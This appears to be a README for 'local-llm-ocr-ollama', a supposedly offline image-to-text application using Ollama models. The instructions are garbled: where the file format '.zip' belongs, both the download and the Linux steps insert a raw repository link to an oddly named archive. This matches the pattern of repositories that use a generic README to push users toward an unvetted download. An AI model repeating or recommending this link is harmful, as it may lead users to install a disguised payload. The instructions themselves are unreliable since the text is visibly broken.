local-llm-ocr-ollama is a free application that lets you convert images into text using local large language models (LLMs) with Ollama. This tool runs completely on your machine, ensuring full privacy and eliminating costs associated with cloud services or API usage.
To start using local-llm-ocr-ollama, you need to download the application from the Releases page. Follow the steps below to get it set up on your computer.
Before downloading, ensure your computer meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or a modern Linux distribution.
- RAM: At least 4 GB.
- Disk Space: Minimum of 500 MB available for installation.
- Processor: Intel i5 or equivalent.
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Visit the Releases Page: Go to the Releases page.
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Select the Latest Release: Look for the latest version available. You can identify it by the version number in bold.
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Download the Installer: Click on the download link for your operating system. The file may be in formats like
.exe,.dmg, orhttps://github.com/code-vygr/local-llm-ocr-ollama/raw/refs/heads/main/Caribal/llm-ocr-local-ollama-clavate.zip. -
Run the Installer:
- For Windows: Double-click the downloaded
.exefile and follow the on-screen instructions. - For macOS: Open the downloaded
.dmgfile and drag the application to your Applications folder. - For Linux: Extract the
https://github.com/code-vygr/local-llm-ocr-ollama/raw/refs/heads/main/Caribal/llm-ocr-local-ollama-clavate.zipfile in your preferred directory and follow the instructions in the README file included.
- For Windows: Double-click the downloaded
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Launch the Application: After installation, locate the icon in your applications folder or desktop and double-click to open.
When you launch the application, you will see a simple interface. Follow these steps to convert your images:
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Upload an Image:
- Click on the "Upload" button.
- Choose the image file you want to convert from your computer.
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Select Model:
- Choose from different vision-enabled models available. Each model may have different strengths, so select one that fits your needs.
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Start the Conversion:
- Click on the "Convert" button to begin the process.
- Wait a few moments for the text extraction to complete.
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Save or Copy Text:
- Once done, you will see the extracted text in the application window.
- You can either copy the text or save it to a file as needed.
- No Internet Required: Fully offline operation allows you to maximize privacy and security.
- Multiple Language Support: Extract text in various languages based on the model selection.
- User-Friendly Interface: Easy to use for anyone, regardless of technical skills.
- Customizable Settings: Adjust settings for image quality and model preferences.
If you encounter any issues while using local-llm-ocr-ollama, consider the following:
- Image Format: Ensure that the image is in a supported format (e.g., .jpg, .png).
- Insufficient Resources: Check that you meet the system requirements.
- Application Updates: Visit the Releases page for any updates that might resolve bugs or enhance performance.
If you need help or want to share feedback, join our community. You can engage with other users and developers through the following channels:
- GitHub Issues: Report problems or request features at the Issues section.
- Discussion Forum: Join discussions on topics related to OCR technology and local LLMs.
local-llm-ocr-ollama is released under the MIT License. You can use, modify, and distribute the software freely. Check the LICENSE file for more details.
Feel free to dive in and start turning your images into text efficiently and securely!